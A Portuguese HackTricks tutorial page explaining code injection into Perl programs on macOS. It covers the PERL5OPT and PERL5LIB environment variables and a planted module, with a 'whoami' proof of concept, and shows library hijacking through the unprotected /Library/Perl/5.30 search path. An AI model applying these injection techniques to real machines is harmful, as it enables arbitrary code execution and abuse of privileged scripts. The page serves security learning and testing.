5.4 KiB
Injeção em Aplicações Perl no macOS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de cibersegurança? Quer ver sua empresa anunciada no HackTricks? ou quer ter acesso à versão mais recente do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Adquira o material oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e repositório hacktricks-cloud.
Via variável de ambiente PERL5OPT
& PERL5LIB
Usando a variável de ambiente PERL5OPT é possível fazer o perl executar comandos arbitrários.
Por exemplo, crie este script:
{% code title="test.pl" %}
#!/usr/bin/perl
print "Hello from the Perl script!\n";
{% endcode %}
Agora exporte a variável de ambiente e execute o script perl:
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
Outra opção é criar um módulo Perl (por exemplo, /tmp/pmod.pm
):
{% code title="/tmp/pmod.pm" %}
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
E então use as variáveis de ambiente:
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
Via dependências
É possível listar a ordem das pastas de dependências do Perl em execução:
perl -e 'print join("\n", @INC)'
Que retornará algo como:
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
Algumas das pastas retornadas nem sequer existem, no entanto, /Library/Perl/5.30
existe, não está protegida pelo SIP e está antes das pastas protegidas pelo SIP. Portanto, alguém poderia abusar dessa pasta para adicionar dependências de script lá, fazendo com que um script Perl de alta privilégio o carregue.
{% hint style="warning" %} No entanto, note que você precisa ser root para escrever nessa pasta e atualmente você receberá este prompt TCC: {% endhint %}
Por exemplo, se um script está importando use File::Basename;
, seria possível criar /Library/Perl/5.30/File/Basename.pm
para fazer com que ele execute código arbitrário.
Referências
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de cibersegurança? Quer ver sua empresa anunciada no HackTricks? ou quer ter acesso à versão mais recente do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Adquira o merchandising oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e repositório hacktricks-cloud.